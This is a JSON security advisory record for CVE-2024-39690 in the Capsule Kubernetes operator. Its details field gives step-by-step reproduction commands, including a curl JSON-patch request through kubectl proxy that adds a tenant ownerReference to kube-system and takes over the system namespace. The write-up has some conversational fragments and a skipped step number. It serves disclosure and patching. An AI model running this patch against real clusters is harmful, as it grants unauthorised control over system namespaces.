{"id":"GHSA-mq69-4j5w-3qwp","summary":"Capsule tenant owner with \"patch namespace\" permission can hijack system namespaces","details":"# Attack Vector\nThen, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.\n\n# Below are my detailed reproduction steps\n1. Create a test cluster\n`kind create cluster --image=kindest/node:v1.24.15 --name=k8s`\n2. Install the capsule\n`helm install capsule projectcapsule/capsule -n capsule-system --create-namespace`\n3. Create a tenant\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: tenant1\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n```\n4. Create user alice\n```\n./create-user.sh alice tenant1 capsule.clastix.io\nexport KUBECONFIG=alice-tenant1.kubeconfig\n```\n5. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)\n```\nkubectl proxy\n\nexport DATA='[{\"op\": \"add\", \"path\": \"/metadata/ownerReferences\", \"value\":[{\"apiVersion\": \"capsule.clastix.io/v1beta2\", \"blockOwnerDeletion\": true, \"controller\": true, \"kind\": \"Tenant\", \"name\": \"tenant1\", \"uid\": \"ce3f2296-4aaa-45b0-a8fe-879d5096f193\"}]}]'\n\ncurl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d \"$DATA\" -H \"Content-Type: application/json-patch+json\"\n```\n7. Check the result\nThe kube-system is patched successfully.\n![image](https://github.com/projectcapsule/capsule/assets/151004196/e2775304-c1f4-494d-ab15-14f6f33e29ec)\n\n\n# Summary\nThe tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.\n\nI would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.","aliases":["CVE-2024-39690","GO-2024-3077"],"modified":"2025-08-14T13:32:09Z","published":"2024-08-20T18:34:37Z","database_specific":{"severity":"HIGH","nvd_published_at":"2024-08-20T15:15:21Z","github_reviewed":true,"github_reviewed_at":"2024-08-20T18:34:37Z","cwe_ids":["CWE-863"]},"references":[{"type":"WEB","url":"https://github.com/projectcapsule/capsule/security/advisories/GHSA-mq69-4j5w-3qwp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39690"},{"type":"WEB","url":"https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584"},{"type":"PACKAGE","url":"https://github.com/projectcapsule/capsule"}],"affected":[{"package":{"name":"github.com/projectcapsule/capsule","ecosystem":"Go","purl":"pkg:golang/github.com/projectcapsule/capsule"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.7.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-mq69-4j5w-3qwp/GHSA-mq69-4j5w-3qwp.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}